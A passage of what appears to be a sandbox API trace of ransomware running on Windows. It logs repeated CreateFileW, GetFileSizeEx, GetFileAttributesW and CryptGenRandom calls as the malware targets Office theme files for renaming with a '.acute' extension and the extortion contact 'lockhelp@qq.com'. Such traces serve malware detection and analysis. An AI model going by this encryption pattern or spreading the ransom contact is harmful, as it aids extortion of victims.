dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.036] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=526) returned 1 [0274.036] CloseHandle (hObject=0x37c) returned 1 [0274.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0274.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.036] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.037] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=50761) returned 1 [0274.037] CloseHandle (hObject=0x37c) returned 1 [0274.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0274.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.037] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.038] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=585) returned 1 [0274.038] CloseHandle (hObject=0x37c) returned 1 [0274.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0274.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.039] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.039] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=91861) returned 1 [0274.039] CloseHandle (hObject=0x37c) returned 1 [0274.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm")) returned 0x20 [0274.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.039] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.040] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=500) returned 1 [0274.040] CloseHandle (hObject=0x37c) returned 1 [0274.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf")) returned 0x20 [0274.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.040] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.040] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=53477) returned 1 [0274.040] CloseHandle (hObject=0x37c) returned 1 [0274.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm")) returned 0x20 [0274.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.041] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.041] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=539) returned 1 [0274.041] CloseHandle (hObject=0x37c) returned 1 [0274.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf")) returned 0x20 [0274.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.041] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.042] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=45582) returned 1 [0274.042] CloseHandle (hObject=0x37c) returned 1 [0274.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm")) returned 0x20 [0274.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.043] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.043] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=587) returned 1 [0274.043] CloseHandle (hObject=0x37c) returned 1 [0274.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0274.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.043] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.044] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=48039) returned 1 [0274.044] CloseHandle (hObject=0x37c) returned 1 [0274.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0274.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.044] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.045] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=600) returned 1 [0274.045] CloseHandle (hObject=0x37c) returned 1 [0274.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0274.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.045] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.045] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=46942) returned 1 [0274.045] CloseHandle (hObject=0x37c) returned 1 [0274.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm")) returned 0x20 [0274.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.046] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.046] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=586) returned 1 [0274.046] CloseHandle (hObject=0x37c) returned 1 [0274.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf")) returned 0x20 [0274.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.046] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.046] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=45838) returned 1 [0274.046] CloseHandle (hObject=0x37c) returned 1 [0274.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm")) returned 0x20 [0274.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.047] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.047] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=586) returned 1 [0274.047] CloseHandle (hObject=0x37c) returned 1 [0274.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0274.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.047] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.048] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=73822) returned 1 [0274.048] CloseHandle (hObject=0x37c) returned 1 [0274.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0274.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.048] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.121] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=569) returned 1 [0274.121] CloseHandle (hObject=0x37c) returned 1 [0274.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0274.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 